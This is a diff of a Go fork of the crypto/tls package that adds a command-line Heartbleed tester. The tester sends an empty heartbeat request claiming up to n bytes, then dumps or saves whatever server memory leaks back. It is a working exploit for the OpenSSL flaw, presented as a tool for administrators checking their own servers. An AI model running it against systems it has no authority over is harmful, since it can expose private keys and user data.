|
||||
clientFinished, ok := msg.(*finishedMsg)
|
||||
if !ok {
|
||||
return c.sendAlert(alertUnexpectedMessage)
|
||||
}
|
||||
|
||||
verify := hs.finishedHash.clientSum(hs.masterSecret)
|
||||
if len(verify) != len(clientFinished.verifyData) ||
|
||||
subtle.ConstantTimeCompare(verify, clientFinished.verifyData) != 1 {
|
||||
return c.sendAlert(alertHandshakeFailure)
|
||||
}
|
||||
|
||||
hs.finishedHash.Write(clientFinished.marshal())
|
||||
return nil
|
||||
}
|
||||
|
||||
func (hs *serverHandshakeState) sendSessionTicket() error {
|
||||
if !hs.hello.ticketSupported {
|
||||
return nil
|
||||
}
|
||||
|
||||
c := hs.c
|
||||
m := new(newSessionTicketMsg)
|
||||
|
||||
var err error
|
||||
state := sessionState{
|
||||
vers: c.vers,
|
||||
cipherSuite: hs.suite.id,
|
||||
masterSecret: hs.masterSecret,
|
||||
certificates: hs.certsFromClient,
|
||||
}
|
||||
m.ticket, err = c.encryptTicket(&state)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
hs.finishedHash.Write(m.marshal())
|
||||
c.writeRecord(recordTypeHandshake, m.marshal())
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (hs *serverHandshakeState) sendFinished() error {
|
||||
c := hs.c
|
||||
|
||||
c.writeRecord(recordTypeChangeCipherSpec, []byte{1})
|
||||
|
||||
finished := new(finishedMsg)
|
||||
finished.verifyData = hs.finishedHash.serverSum(hs.masterSecret)
|
||||
hs.finishedHash.Write(finished.marshal())
|
||||
c.writeRecord(recordTypeHandshake, finished.marshal())
|
||||
|
||||
c.cipherSuite = hs.suite.id
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// processCertsFromClient takes a chain of client certificates either from a
|
||||
// Certificates message or from a sessionState and verifies them. It returns
|
||||
// the public key of the leaf certificate.
|
||||
func (hs *serverHandshakeState) processCertsFromClient(certificates [][]byte) (crypto.PublicKey, error) {
|
||||
c := hs.c
|
||||
|
||||
hs.certsFromClient = certificates
|
||||
certs := make([]*x509.Certificate, len(certificates))
|
||||
var err error
|
||||
for i, asn1Data := range certificates {
|
||||
if certs[i], err = x509.ParseCertificate(asn1Data); err != nil {
|
||||
c.sendAlert(alertBadCertificate)
|
||||
return nil, errors.New("tls: failed to parse client certificate: " + err.Error())
|
||||
}
|
||||
}
|
||||
|
||||
if c.config.ClientAuth >= VerifyClientCertIfGiven && len(certs) > 0 {
|
||||
opts := x509.VerifyOptions{
|
||||
Roots: c.config.ClientCAs,
|
||||
CurrentTime: c.config.time(),
|
||||
Intermediates: x509.NewCertPool(),
|
||||
KeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth},
|
||||
}
|
||||
|
||||
for _, cert := range certs[1:] {
|
||||
opts.Intermediates.AddCert(cert)
|
||||
}
|
||||
|
||||
chains, err := certs[0].Verify(opts)
|
||||
if err != nil {
|
||||
c.sendAlert(alertBadCertificate)
|
||||
return nil, errors.New("tls: failed to verify client's certificate: " + err.Error())
|
||||
}
|
||||
|
||||
ok := false
|
||||
for _, ku := range certs[0].ExtKeyUsage {
|
||||
if ku == x509.ExtKeyUsageClientAuth {
|
||||
ok = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !ok {
|
||||
c.sendAlert(alertHandshakeFailure)
|
||||
return nil, errors.New("tls: client's certificate's extended key usage doesn't permit it to be used for client authentication")
|
||||
}
|
||||
|
||||
c.verifiedChains = chains
|
||||
}
|
||||
|
||||
if len(certs) > 0 {
|
||||
var pub crypto.PublicKey
|
||||
switch key := certs[0].PublicKey.(type) {
|
||||
case *ecdsa.PublicKey, *rsa.PublicKey:
|
||||
pub = key
|
||||
default:
|
||||
return nil, c.sendAlert(alertUnsupportedCertificate)
|
||||
}
|
||||
c.peerCertificates = certs
|
||||
return pub, nil
|
||||
}
|
||||
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
// tryCipherSuite returns a cipherSuite with the given id if that cipher suite
|
||||
// is acceptable to use.
|
||||
func (c *Conn) tryCipherSuite(id uint16, supportedCipherSuites []uint16, version uint16, ellipticOk, ecdsaOk bool) *cipherSuite {
|
||||
for _, supported := range supportedCipherSuites {
|
||||
if id == supported {
|
||||
var candidate *cipherSuite
|
||||
|
||||
for _, s := range cipherSuites {
|
||||
if s.id == id {
|
||||
candidate = s
|
||||
break
|
||||
}
|
||||
}
|
||||
if candidate == nil {
|
||||
continue
|
||||
}
|
||||
// Don't select a ciphersuite which we can't
|
||||
// support for this client.
|
||||
if (candidate.flags&suiteECDHE != 0) && !ellipticOk {
|
||||
continue
|
||||
}
|
||||
if (candidate.flags&suiteECDSA != 0) != ecdsaOk {
|
||||
continue
|
||||
}
|
||||
if version < VersionTLS12 && candidate.flags&suiteTLS12 != 0 {
|
||||
continue
|
||||
}
|
||||
return candidate
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
+400
@@ -0,0 +1,400 @@
|
||||
// Copyright 2010 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto"
|
||||
"crypto/ecdsa"
|
||||
"crypto/elliptic"
|
||||
"crypto/md5"
|
||||
"crypto/rsa"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"crypto/x509"
|
||||
"encoding/asn1"
|
||||
"errors"
|
||||
"io"
|
||||
"math/big"
|
||||
)
|
||||
|
||||
// rsaKeyAgreement implements the standard TLS key agreement where the client
|
||||
// encrypts the pre-master secret to the server's public key.
|
||||
type rsaKeyAgreement struct{}
|
||||
|
||||
func (ka rsaKeyAgreement) generateServerKeyExchange(config *Config, cert *Certificate, clientHello *clientHelloMsg, hello *serverHelloMsg) (*serverKeyExchangeMsg, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func (ka rsaKeyAgreement) processClientKeyExchange(config *Config, cert *Certificate, ckx *clientKeyExchangeMsg, version uint16) ([]byte, error) {
|
||||
preMasterSecret := make([]byte, 48)
|
||||
_, err := io.ReadFull(config.rand(), preMasterSecret[2:])
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
if len(ckx.ciphertext) < 2 {
|
||||
return nil, errors.New("bad ClientKeyExchange")
|
||||
}
|
||||
|
||||
ciphertext := ckx.ciphertext
|
||||
if version != VersionSSL30 {
|
||||
ciphertextLen := int(ckx.ciphertext[0])<<8 | int(ckx.ciphertext[1])
|
||||
if ciphertextLen != len(ckx.ciphertext)-2 {
|
||||
return nil, errors.New("bad ClientKeyExchange")
|
||||
}
|
||||
ciphertext = ckx.ciphertext[2:]
|
||||
}
|
||||
|
||||
err = rsa.DecryptPKCS1v15SessionKey(config.rand(), cert.PrivateKey.(*rsa.PrivateKey), ciphertext, preMasterSecret)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// We don't check the version number in the premaster secret. For one,
|
||||
// by checking it, we would leak information about the validity of the
|
||||
// encrypted pre-master secret. Secondly, it provides only a small
|
||||
// benefit against a downgrade attack and some implementations send the
|
||||
// wrong version anyway. See the discussion at the end of section
|
||||
// 7.4.7.1 of RFC 4346.
|
||||
return preMasterSecret, nil
|
||||
}
|
||||
|
||||
func (ka rsaKeyAgreement) processServerKeyExchange(config *Config, clientHello *clientHelloMsg, serverHello *serverHelloMsg, cert *x509.Certificate, skx *serverKeyExchangeMsg) error {
|
||||
return errors.New("unexpected ServerKeyExchange")
|
||||
}
|
||||
|
||||
func (ka rsaKeyAgreement) generateClientKeyExchange(config *Config, clientHello *clientHelloMsg, cert *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) {
|
||||
preMasterSecret := make([]byte, 48)
|
||||
preMasterSecret[0] = byte(clientHello.vers >> 8)
|
||||
preMasterSecret[1] = byte(clientHello.vers)
|
||||
_, err := io.ReadFull(config.rand(), preMasterSecret[2:])
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
|
||||
encrypted, err := rsa.EncryptPKCS1v15(config.rand(), cert.PublicKey.(*rsa.PublicKey), preMasterSecret)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
ckx := new(clientKeyExchangeMsg)
|
||||
ckx.ciphertext = make([]byte, len(encrypted)+2)
|
||||
ckx.ciphertext[0] = byte(len(encrypted) >> 8)
|
||||
ckx.ciphertext[1] = byte(len(encrypted))
|
||||
copy(ckx.ciphertext[2:], encrypted)
|
||||
return preMasterSecret, ckx, nil
|
||||
}
|
||||
|
||||
// sha1Hash calculates a SHA1 hash over the given byte slices.
|
||||
func sha1Hash(slices [][]byte) []byte {
|
||||
hsha1 := sha1.New()
|
||||
for _, slice := range slices {
|
||||
hsha1.Write(slice)
|
||||
}
|
||||
return hsha1.Sum(nil)
|
||||
}
|
||||
|
||||
// md5SHA1Hash implements TLS 1.0's hybrid hash function which consists of the
|
||||
// concatenation of an MD5 and SHA1 hash.
|
||||
func md5SHA1Hash(slices [][]byte) []byte {
|
||||
md5sha1 := make([]byte, md5.Size+sha1.Size)
|
||||
hmd5 := md5.New()
|
||||
for _, slice := range slices {
|
||||
hmd5.Write(slice)
|
||||
}
|
||||
copy(md5sha1, hmd5.Sum(nil))
|
||||
copy(md5sha1[md5.Size:], sha1Hash(slices))
|
||||
return md5sha1
|
||||
}
|
||||
|
||||
// sha256Hash implements TLS 1.2's hash function.
|
||||
func sha256Hash(slices [][]byte) []byte {
|
||||
h := sha256.New()
|
||||
for _, slice := range slices {
|
||||
h.Write(slice)
|
||||
}
|
||||
return h.Sum(nil)
|
||||
}
|
||||
|
||||
// hashForServerKeyExchange hashes the given slices and returns their digest
|
||||
// and the identifier of the hash function used. The hashFunc argument is only
|
||||
// used for >= TLS 1.2 and precisely identifies the hash function to use.
|
||||
func hashForServerKeyExchange(sigType, hashFunc uint8, version uint16, slices ...[]byte) ([]byte, crypto.Hash, error) {
|
||||
if version >= VersionTLS12 {
|
||||
switch hashFunc {
|
||||
case hashSHA256:
|
||||
return sha256Hash(slices), crypto.SHA256, nil
|
||||
case hashSHA1:
|
||||
return sha1Hash(slices), crypto.SHA1, nil
|
||||
default:
|
||||
return nil, crypto.Hash(0), errors.New("tls: unknown hash function used by peer")
|
||||
}
|
||||
}
|
||||
if sigType == signatureECDSA {
|
||||
return sha1Hash(slices), crypto.SHA1, nil
|
||||
}
|
||||
return md5SHA1Hash(slices), crypto.MD5SHA1, nil
|
||||
}
|
||||
|
||||
// pickTLS12HashForSignature returns a TLS 1.2 hash identifier for signing a
|
||||
// ServerKeyExchange given the signature type being used and the client's
|
||||
// advertized list of supported signature and hash combinations.
|
||||
func pickTLS12HashForSignature(sigType uint8, clientSignatureAndHashes []signatureAndHash) (uint8, error) {
|
||||
if len(clientSignatureAndHashes) == 0 {
|
||||
// If the client didn't specify any signature_algorithms
|
||||
// extension then we can assume that it supports SHA1. See
|
||||
// http://tools.ietf.org/html/rfc5246#section-7.4.1.4.1
|
||||
return hashSHA1, nil
|
||||
}
|
||||
|
||||
for _, sigAndHash := range clientSignatureAndHashes {
|
||||
if sigAndHash.signature != sigType {
|
||||
continue
|
||||
}
|
||||
switch sigAndHash.hash {
|
||||
case hashSHA1, hashSHA256:
|
||||
return sigAndHash.hash, nil
|
||||
}
|
||||
}
|
||||
|
||||
return 0, errors.New("tls: client doesn't support any common hash functions")
|
||||
}
|
||||
|
||||
// ecdheRSAKeyAgreement implements a TLS key agreement where the server
|
||||
// generates a ephemeral EC public/private key pair and signs it. The
|
||||
// pre-master secret is then calculated using ECDH. The signature may
|
||||
// either be ECDSA or RSA.
|
||||
type ecdheKeyAgreement struct {
|
||||
version uint16
|
||||
sigType uint8
|
||||
privateKey []byte
|
||||
curve elliptic.Curve
|
||||
x, y *big.Int
|
||||
}
|
||||
|
||||
func (ka *ecdheKeyAgreement) generateServerKeyExchange(config *Config, cert *Certificate, clientHello *clientHelloMsg, hello *serverHelloMsg) (*serverKeyExchangeMsg, error) {
|
||||
var curveid uint16
|
||||
|
||||
Curve:
|
||||
for _, c := range clientHello.supportedCurves {
|
||||
switch c {
|
||||
case curveP256:
|
||||
ka.curve = elliptic.P256()
|
||||
curveid = c
|
||||
break Curve
|
||||
case curveP384:
|
||||
ka.curve = elliptic.P384()
|
||||
curveid = c
|
||||
break Curve
|
||||
case curveP521:
|
||||
ka.curve = elliptic.P521()
|
||||
curveid = c
|
||||
break Curve
|
||||
}
|
||||
}
|
||||
|
||||
if curveid == 0 {
|
||||
return nil, errors.New("tls: no supported elliptic curves offered")
|
||||
}
|
||||
|
||||
var x, y *big.Int
|
||||
var err error
|
||||
ka.privateKey, x, y, err = elliptic.GenerateKey(ka.curve, config.rand())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
ecdhePublic := elliptic.Marshal(ka.curve, x, y)
|
||||
|
||||
// http://tools.ietf.org/html/rfc4492#section-5.4
|
||||
serverECDHParams := make([]byte, 1+2+1+len(ecdhePublic))
|
||||
serverECDHParams[0] = 3 // named curve
|
||||
serverECDHParams[1] = byte(curveid >> 8)
|
||||
serverECDHParams[2] = byte(curveid)
|
||||
serverECDHParams[3] = byte(len(ecdhePublic))
|
||||
copy(serverECDHParams[4:], ecdhePublic)
|
||||
|
||||
var tls12HashId uint8
|
||||
if ka.version >= VersionTLS12 {
|
||||
if tls12HashId, err = pickTLS12HashForSignature(ka.sigType, clientHello.signatureAndHashes); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
|
||||
digest, hashFunc, err := hashForServerKeyExchange(ka.sigType, tls12HashId, ka.version, clientHello.random, hello.random, serverECDHParams)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
var sig []byte
|
||||
switch ka.sigType {
|
||||
case signatureECDSA:
|
||||
privKey, ok := cert.PrivateKey.(*ecdsa.PrivateKey)
|
||||
if !ok {
|
||||
return nil, errors.New("ECDHE ECDSA requires an ECDSA server private key")
|
||||
}
|
||||
r, s, err := ecdsa.Sign(config.rand(), privKey, digest)
|
||||
if err != nil {
|
||||
return nil, errors.New("failed to sign ECDHE parameters: " + err.Error())
|
||||
}
|
||||
sig, err = asn1.Marshal(ecdsaSignature{r, s})
|
||||
case signatureRSA:
|
||||
privKey, ok := cert.PrivateKey.(*rsa.PrivateKey)
|
||||
if !ok {
|
||||
return nil, errors.New("ECDHE RSA requires a RSA server private key")
|
||||
}
|
||||
sig, err = rsa.SignPKCS1v15(config.rand(), privKey, hashFunc, digest)
|
||||
if err != nil {
|
||||
return nil, errors.New("failed to sign ECDHE parameters: " + err.Error())
|
||||
}
|
||||
default:
|
||||
return nil, errors.New("unknown ECDHE signature algorithm")
|
||||
}
|
||||
|
||||
skx := new(serverKeyExchangeMsg)
|
||||
sigAndHashLen := 0
|
||||
if ka.version >= VersionTLS12 {
|
||||
sigAndHashLen = 2
|
||||
}
|
||||
skx.key = make([]byte, len(serverECDHParams)+sigAndHashLen+2+len(sig))
|
||||
copy(skx.key, serverECDHParams)
|
||||
k := skx.key[len(serverECDHParams):]
|
||||
if ka.version >= VersionTLS12 {
|
||||
k[0] = tls12HashId
|
||||
k[1] = ka.sigType
|
||||
k = k[2:]
|
||||
}
|
||||
k[0] = byte(len(sig) >> 8)
|
||||
k[1] = byte(len(sig))
|
||||
copy(k[2:], sig)
|
||||
|
||||
return skx, nil
|
||||
}
|
||||
|
||||
func (ka *ecdheKeyAgreement) processClientKeyExchange(config *Config, cert *Certificate, ckx *clientKeyExchangeMsg, version uint16) ([]byte, error) {
|
||||
if len(ckx.ciphertext) == 0 || int(ckx.ciphertext[0]) != len(ckx.ciphertext)-1 {
|
||||
return nil, errors.New("bad ClientKeyExchange")
|
||||
}
|
||||
x, y := elliptic.Unmarshal(ka.curve, ckx.ciphertext[1:])
|
||||
if x == nil {
|
||||
return nil, errors.New("bad ClientKeyExchange")
|
||||
}
|
||||
x, _ = ka.curve.ScalarMult(x, y, ka.privateKey)
|
||||
preMasterSecret := make([]byte, (ka.curve.Params().BitSize+7)>>3)
|
||||
xBytes := x.Bytes()
|
||||
copy(preMasterSecret[len(preMasterSecret)-len(xBytes):], xBytes)
|
||||
|
||||
return preMasterSecret, nil
|
||||
}
|
||||
|
||||
var errServerKeyExchange = errors.New("invalid ServerKeyExchange")
|
||||
|
||||
func (ka *ecdheKeyAgreement) processServerKeyExchange(config *Config, clientHello *clientHelloMsg, serverHello *serverHelloMsg, cert *x509.Certificate, skx *serverKeyExchangeMsg) error {
|
||||
if len(skx.key) < 4 {
|
||||
return errServerKeyExchange
|
||||
}
|
||||
if skx.key[0] != 3 { // named curve
|
||||
return errors.New("server selected unsupported curve")
|
||||
}
|
||||
curveid := uint16(skx.key[1])<<8 | uint16(skx.key[2])
|
||||
|
||||
switch curveid {
|
||||
case curveP256:
|
||||
ka.curve = elliptic.P256()
|
||||
case curveP384:
|
||||
ka.curve = elliptic.P384()
|
||||
case curveP521:
|
||||
ka.curve = elliptic.P521()
|
||||
default:
|
||||
return errors.New("server selected unsupported curve")
|
||||
}
|
||||
|
||||
publicLen := int(skx.key[3])
|
||||
if publicLen+4 > len(skx.key) {
|
||||
return errServerKeyExchange
|
||||
}
|
||||
ka.x, ka.y = elliptic.Unmarshal(ka.curve, skx.key[4:4+publicLen])
|
||||
if ka.x == nil {
|
||||
return errServerKeyExchange
|
||||
}
|
||||
serverECDHParams := skx.key[:4+publicLen]
|
||||
|
||||
sig := skx.key[4+publicLen:]
|
||||
if len(sig) < 2 {
|
||||
return errServerKeyExchange
|
||||
}
|
||||
|
||||
var tls12HashId uint8
|
||||
if ka.version >= VersionTLS12 {
|
||||
// handle SignatureAndHashAlgorithm
|
||||
var sigAndHash []uint8
|
||||
sigAndHash, sig = sig[:2], sig[2:]
|
||||
if sigAndHash[1] != ka.sigType {
|
||||
return errServerKeyExchange
|
||||
}
|
||||
tls12HashId = sigAndHash[0]
|
||||
if len(sig) < 2 {
|
||||
return errServerKeyExchange
|
||||
}
|
||||
}
|
||||
sigLen := int(sig[0])<<8 | int(sig[1])
|
||||
if sigLen+2 != len(sig) {
|
||||
return errServerKeyExchange
|
||||
}
|
||||
sig = sig[2:]
|
||||
|
||||
digest, hashFunc, err := hashForServerKeyExchange(ka.sigType, tls12HashId, ka.version, clientHello.random, serverHello.random, serverECDHParams)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
switch ka.sigType {
|
||||
case signatureECDSA:
|
||||
pubKey, ok := cert.PublicKey.(*ecdsa.PublicKey)
|
||||
if !ok {
|
||||
return errors.New("ECDHE ECDSA requires a ECDSA server public key")
|
||||
}
|
||||
ecdsaSig := new(ecdsaSignature)
|
||||
if _, err := asn1.Unmarshal(sig, ecdsaSig); err != nil {
|
||||
return err
|
||||
}
|
||||
if ecdsaSig.R.Sign() <= 0 || ecdsaSig.S.Sign() <= 0 {
|
||||
return errors.New("ECDSA signature contained zero or negative values")
|
||||
}
|
||||
if !ecdsa.Verify(pubKey, digest, ecdsaSig.R, ecdsaSig.S) {
|
||||
return errors.New("ECDSA verification failure")
|
||||
}
|
||||
case signatureRSA:
|
||||
pubKey, ok := cert.PublicKey.(*rsa.PublicKey)
|
||||
if !ok {
|
||||
return errors.New("ECDHE RSA requires a RSA server public key")
|
||||
}
|
||||
if err := rsa.VerifyPKCS1v15(pubKey, hashFunc, digest, sig); err != nil {
|
||||
return err
|
||||
}
|
||||
default:
|
||||
return errors.New("unknown ECDHE signature algorithm")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (ka *ecdheKeyAgreement) generateClientKeyExchange(config *Config, clientHello *clientHelloMsg, cert *x509.Certificate) ([]byte, *clientKeyExchangeMsg, error) {
|
||||
if ka.curve == nil {
|
||||
return nil, nil, errors.New("missing ServerKeyExchange message")
|
||||
}
|
||||
priv, mx, my, err := elliptic.GenerateKey(ka.curve, config.rand())
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
x, _ := ka.curve.ScalarMult(ka.x, ka.y, priv)
|
||||
preMasterSecret := make([]byte, (ka.curve.Params().BitSize+7)>>3)
|
||||
xBytes := x.Bytes()
|
||||
copy(preMasterSecret[len(preMasterSecret)-len(xBytes):], xBytes)
|
||||
|
||||
serialized := elliptic.Marshal(ka.curve, mx, my)
|
||||
|
||||
ckx := new(clientKeyExchangeMsg)
|
||||
ckx.ciphertext = make([]byte, 1+len(serialized))
|
||||
ckx.ciphertext[0] = byte(len(serialized))
|
||||
copy(ckx.ciphertext[1:], serialized)
|
||||
|
||||
return preMasterSecret, ckx, nil
|
||||
}
|
||||
@@ -0,0 +1,151 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"time"
|
||||
)
|
||||
|
||||
const disclaimer = `
|
||||
This program was written to help system administrators test their servers for
|
||||
the OpenSSL "heartbleed" vulnerability. The author is not responsible for any
|
||||
damages as a result of using this tool (may eat your data, etc.) or for any
|
||||
misuse of this tool for malicious purposes.
|
||||
`
|
||||
|
||||
var (
|
||||
nbytes = flag.Int("n", 16, "number of bytes to request")
|
||||
output = flag.String("o", "", "write binary data to the specified file")
|
||||
quiet = flag.Bool("q", false, "quiet, use exit code to report server status (0=safe)")
|
||||
timeout = flag.Duration("t", 5*time.Second, "i/o timeout")
|
||||
)
|
||||
|
||||
func init() {
|
||||
flag.Usage = func() {
|
||||
fmt.Fprintf(os.Stderr, "usage: %s [options] host:port\n\n", os.Args[0])
|
||||
flag.PrintDefaults()
|
||||
fmt.Fprintf(os.Stderr, disclaimer)
|
||||
}
|
||||
if flag.Parse(); flag.NArg() != 1 {
|
||||
flag.Usage()
|
||||
os.Exit(2)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
c, err := Dial("tcp", flag.Arg(0), &Config{InsecureSkipVerify: true})
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
defer c.Close()
|
||||
|
||||
info("Connected to %s", flag.Arg(0))
|
||||
c.SetDeadline(time.Now().Add(*timeout))
|
||||
|
||||
if _, err := c.Heartbeat(nil); err != nil {
|
||||
info("Server does not support TLS heartbeats :)")
|
||||
if isTimeout(err) || isUnexpected(err) {
|
||||
return
|
||||
}
|
||||
panic(err)
|
||||
}
|
||||
|
||||
info("Server supports TLS heartbeats, requesting %d bytes...", *nbytes)
|
||||
b, err := c.Heartbleed(*nbytes)
|
||||
if len(b) == 0 && err != nil {
|
||||
info("Server is not vulnerable :)")
|
||||
if err == io.EOF || isTimeout(err) {
|
||||
return
|
||||
}
|
||||
panic(err)
|
||||
}
|
||||
|
||||
if *output != "" {
|
||||
ioutil.WriteFile(*output, b, 0666)
|
||||
}
|
||||
if !*quiet {
|
||||
w := hex.Dumper(os.Stdout)
|
||||
w.Write(b)
|
||||
w.Close()
|
||||
}
|
||||
info("Server is vulnerable :(")
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
func info(format string, a ...interface{}) {
|
||||
if !*quiet {
|
||||
fmt.Fprintf(os.Stderr, format+"\n", a...)
|
||||
}
|
||||
}
|
||||
|
||||
func isTimeout(err error) bool {
|
||||
e, ok := err.(net.Error)
|
||||
return ok && e.Timeout()
|
||||
}
|
||||
|
||||
func isUnexpected(err error) bool {
|
||||
e, ok := err.(*net.OpError)
|
||||
return ok && e.Err == alertUnexpectedMessage
|
||||
}
|
||||
|
||||
func (c *Conn) Heartbeat(b []byte) ([]byte, error) {
|
||||
io.ReadFull(rand.Reader, c.tmp[:16])
|
||||
return c.heartbeat(len(b), b, c.tmp[:16])
|
||||
}
|
||||
|
||||
func (c *Conn) Heartbleed(n int) ([]byte, error) {
|
||||
return c.heartbeat(n, nil, nil)
|
||||
}
|
||||
|
||||
const (
|
||||
recordTypeHeartbeat recordType = 24
|
||||
heartbeatRequest byte = 1
|
||||
heartbeatResponse byte = 2
|
||||
)
|
||||
|
||||
func (c *Conn) heartbeat(n int, payload, padding []byte) ([]byte, error) {
|
||||
if err := c.Handshake(); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
buf := make([]byte, 3, 3+len(payload)+len(padding))
|
||||
buf[0] = heartbeatRequest
|
||||
buf[1] = byte(n >> 8)
|
||||
buf[2] = byte(n)
|
||||
buf = append(append(buf, payload...), padding...)
|
||||
|
||||
c.out.Lock()
|
||||
defer c.out.Unlock()
|
||||
c.writeRecord(recordTypeHeartbeat, buf)
|
||||
|
||||
const maxConsecutiveEmptyRecords = 100
|
||||
for emptyRecordCount := 0; emptyRecordCount <= maxConsecutiveEmptyRecords; emptyRecordCount++ {
|
||||
for c.hb == nil && c.error() == nil {
|
||||
if err := c.readRecord(recordTypeHeartbeat); err != nil {
|
||||
// Soft error, like EAGAIN
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
var b []byte
|
||||
if c.hb != nil {
|
||||
b = c.hb.data[c.hb.off:]
|
||||
c.hb = nil
|
||||
if len(b) < 1+2+16 || b[0] != heartbeatResponse {
|
||||
b = nil
|
||||
} else {
|
||||
b = b[3 : len(b)-16]
|
||||
}
|
||||
}
|
||||
return b, c.error()
|
||||
}
|
||||
return nil, io.ErrNoProgress
|
||||
}
|
||||
@@ -0,0 +1,291 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"crypto"
|
||||
"crypto/hmac"
|
||||
"crypto/md5"
|
||||
"crypto/sha1"
|
||||
"crypto/sha256"
|
||||
"hash"
|
||||
)
|
||||
|
||||
// Split a premaster secret in two as specified in RFC 4346, section 5.
|
||||
func splitPreMasterSecret(secret []byte) (s1, s2 []byte) {
|
||||
s1 = secret[0 : (len(secret)+1)/2]
|
||||
s2 = secret[len(secret)/2:]
|
||||
return
|
||||
}
|
||||
|
||||
// pHash implements the P_hash function, as defined in RFC 4346, section 5.
|
||||
func pHash(result, secret, seed []byte, hash func() hash.Hash) {
|
||||
h := hmac.New(hash, secret)
|
||||
h.Write(seed)
|
||||
a := h.Sum(nil)
|
||||
|
||||
j := 0
|
||||
for j < len(result) {
|
||||
h.Reset()
|
||||
h.Write(a)
|
||||
h.Write(seed)
|
||||
b := h.Sum(nil)
|
||||
todo := len(b)
|
||||
if j+todo > len(result) {
|
||||
todo = len(result) - j
|
||||
}
|
||||
copy(result[j:j+todo], b)
|
||||
j += todo
|
||||
|
||||
h.Reset()
|
||||
h.Write(a)
|
||||
a = h.Sum(nil)
|
||||
}
|
||||
}
|
||||
|
||||
// prf10 implements the TLS 1.0 pseudo-random function, as defined in RFC 2246, section 5.
|
||||
func prf10(result, secret, label, seed []byte) {
|
||||
hashSHA1 := sha1.New
|
||||
hashMD5 := md5.New
|
||||
|
||||
labelAndSeed := make([]byte, len(label)+len(seed))
|
||||
copy(labelAndSeed, label)
|
||||
copy(labelAndSeed[len(label):], seed)
|
||||
|
||||
s1, s2 := splitPreMasterSecret(secret)
|
||||
pHash(result, s1, labelAndSeed, hashMD5)
|
||||
result2 := make([]byte, len(result))
|
||||
pHash(result2, s2, labelAndSeed, hashSHA1)
|
||||
|
||||
for i, b := range result2 {
|
||||
result[i] ^= b
|
||||
}
|
||||
}
|
||||
|
||||
// prf12 implements the TLS 1.2 pseudo-random function, as defined in RFC 5246, section 5.
|
||||
func prf12(result, secret, label, seed []byte) {
|
||||
labelAndSeed := make([]byte, len(label)+len(seed))
|
||||
copy(labelAndSeed, label)
|
||||
copy(labelAndSeed[len(label):], seed)
|
||||
|
||||
pHash(result, secret, labelAndSeed, sha256.New)
|
||||
}
|
||||
|
||||
// prf30 implements the SSL 3.0 pseudo-random function, as defined in
|
||||
// www.mozilla.org/projects/security/pki/nss/ssl/draft302.txt section 6.
|
||||
func prf30(result, secret, label, seed []byte) {
|
||||
hashSHA1 := sha1.New()
|
||||
hashMD5 := md5.New()
|
||||
|
||||
done := 0
|
||||
i := 0
|
||||
// RFC5246 section 6.3 says that the largest PRF output needed is 128
|
||||
// bytes. Since no more ciphersuites will be added to SSLv3, this will
|
||||
// remain true. Each iteration gives us 16 bytes so 10 iterations will
|
||||
// be sufficient.
|
||||
var b [11]byte
|
||||
for done < len(result) {
|
||||
for j := 0; j <= i; j++ {
|
||||
b[j] = 'A' + byte(i)
|
||||
}
|
||||
|
||||
hashSHA1.Reset()
|
||||
hashSHA1.Write(b[:i+1])
|
||||
hashSHA1.Write(secret)
|
||||
hashSHA1.Write(seed)
|
||||
digest := hashSHA1.Sum(nil)
|
||||
|
||||
hashMD5.Reset()
|
||||
hashMD5.Write(secret)
|
||||
hashMD5.Write(digest)
|
||||
|
||||
done += copy(result[done:], hashMD5.Sum(nil))
|
||||
i++
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
tlsRandomLength = 32 // Length of a random nonce in TLS 1.1.
|
||||
masterSecretLength = 48 // Length of a master secret in TLS 1.1.
|
||||
finishedVerifyLength = 12 // Length of verify_data in a Finished message.
|
||||
)
|
||||
|
||||
var masterSecretLabel = []byte("master secret")
|
||||
var keyExpansionLabel = []byte("key expansion")
|
||||
var clientFinishedLabel = []byte("client finished")
|
||||
var serverFinishedLabel = []byte("server finished")
|
||||
|
||||
func prfForVersion(version uint16) func(result, secret, label, seed []byte) {
|
||||
switch version {
|
||||
case VersionSSL30:
|
||||
return prf30
|
||||
case VersionTLS10, VersionTLS11:
|
||||
return prf10
|
||||
case VersionTLS12:
|
||||
return prf12
|
||||
default:
|
||||
panic("unknown version")
|
